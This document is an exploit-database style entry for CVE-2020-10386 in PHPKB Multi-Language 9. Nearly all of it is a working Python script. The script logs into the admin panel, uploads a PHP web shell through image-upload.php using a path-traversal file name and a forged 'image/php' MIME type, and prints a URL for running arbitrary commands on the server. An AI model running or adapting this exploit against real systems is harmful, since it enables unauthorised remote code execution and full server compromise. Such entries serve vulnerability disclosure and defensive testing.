PHPKB Multi-Language 9 image-upload.php Code Execution

`# Exploit Title: PHPKB Multi-Language 9 - 'image-upload.php' Authenticated Remote Code Execution  
# Google Dork: N/A  
# Date: 2020-03-15  
# Exploit Author: Antonio Cannito  
# Vendor Homepage: https://www.knowledgebase-script.com/  
# Software Link: https://www.knowledgebase-script.com/pricing.php  
# Version: Multi-Language v9  
# Tested on: Windows 8.1 / PHP 7.4.3  
# CVE : CVE-2020-10386  
  
  
#!/usr/bin/env python3  
import argparse  
import requests  
from json import loads  
  
#Parsing arguments  
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10386 - Remote Code Execution via .php file upload in admin/imagepaster/image-upload.php in Chadha PHPKB Standard Multi-Language 9")  
parser.add_argument("url", type=str, help="PHPKB's base path")  
parser.add_argument("username", type=str, help="Superuser/Writer/Translator/Editor username")  
parser.add_argument("password", type=str, help="Superuser/Writer/Translator/Editor password")  
parser.add_argument("command", type=str, help="The command you want to execute")  
args = parser.parse_args()  
  
session = requests.Session()  
#Perform login  
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text  
#Sending exploit code  
baseurl = loads(session.post(args.url + "/admin/imagepaster/image-upload.php", files={'file': "<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>"}, data={'action': 'imageinsert_upload', 'imgMime': 'image/php', 'imgName': '../js/index.png', 'imgParent': 'null'}).text)["url"]  
print("Visit this page to execute the command:\n" + baseurl + "?cmd=" + args.command)  
print("\nIf you want to execute other commands you can re-execute the exploit or visit this webpage, followed by the command you want executed:\n" + baseurl + "?cmd=")  
`